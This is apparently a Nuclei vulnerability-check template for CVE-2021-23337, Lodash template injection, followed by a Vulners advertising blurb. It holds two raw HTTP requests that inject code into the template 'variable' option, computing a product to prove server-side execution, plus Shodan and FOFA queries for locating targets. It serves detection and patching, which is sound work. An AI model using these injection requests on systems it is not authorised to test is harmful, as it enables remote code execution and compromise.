id: CVE-2021-23337
info:
name: Lodash Template - Server-Side Template Injection (RCE)
author: DhiyaneshDk
severity: high
description: |
Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
impact: |
Attackers can execute arbitrary commands on the host system, leading to full system compromise.
remediation: |
Update to version 4.17.21 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-23337
- https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724
- https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c
- https://github.com/advisories/GHSA-35jh-r3h4-6jhm
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-23337
cwe-id: CWE-94
epss-score: 0.2241
epss-percentile: 0.97407
metadata:
verified: true
max-request: 2
vendor: lodash
product: lodash
shodan-query: http.component:"lodash"
fofa-query: body="lodash"
tags: cve,cve2021,lodash,ssti,rce,nodejs,javascript
flow: http(1) || http(2)
variables:
randA: "{{rand_int(1000, 9999)}}"
randB: "{{rand_int(1000, 9999)}}"
http:
- raw:
- |
POST /template HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"template":"<%= name %>","variable":") { return String({{randA}}*{{randB}}) }; with(obj","data":{"name":"test"}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{to_number(randA)*to_number(randB)}}"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: eval_result
regex:
- "[0-9]+"
- raw:
- |
GET /render?tpl=hello&variable=)%7Breturn+String({{randA}}*{{randB}})%7D%3Bwith(obj HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{to_number(randA)*to_number(randB)}}"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: eval_result
regex:
- "[0-9]+"
# digest: 4a0a00473045022100cae2aa0753b5eb64480dc148e73a7e32729ef4bfe9629eaa5fca2016a82be6f702207e39d01911b4cd2e485c730dceb2942be2c5a90bd90f53a6f73dc583ea577028:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation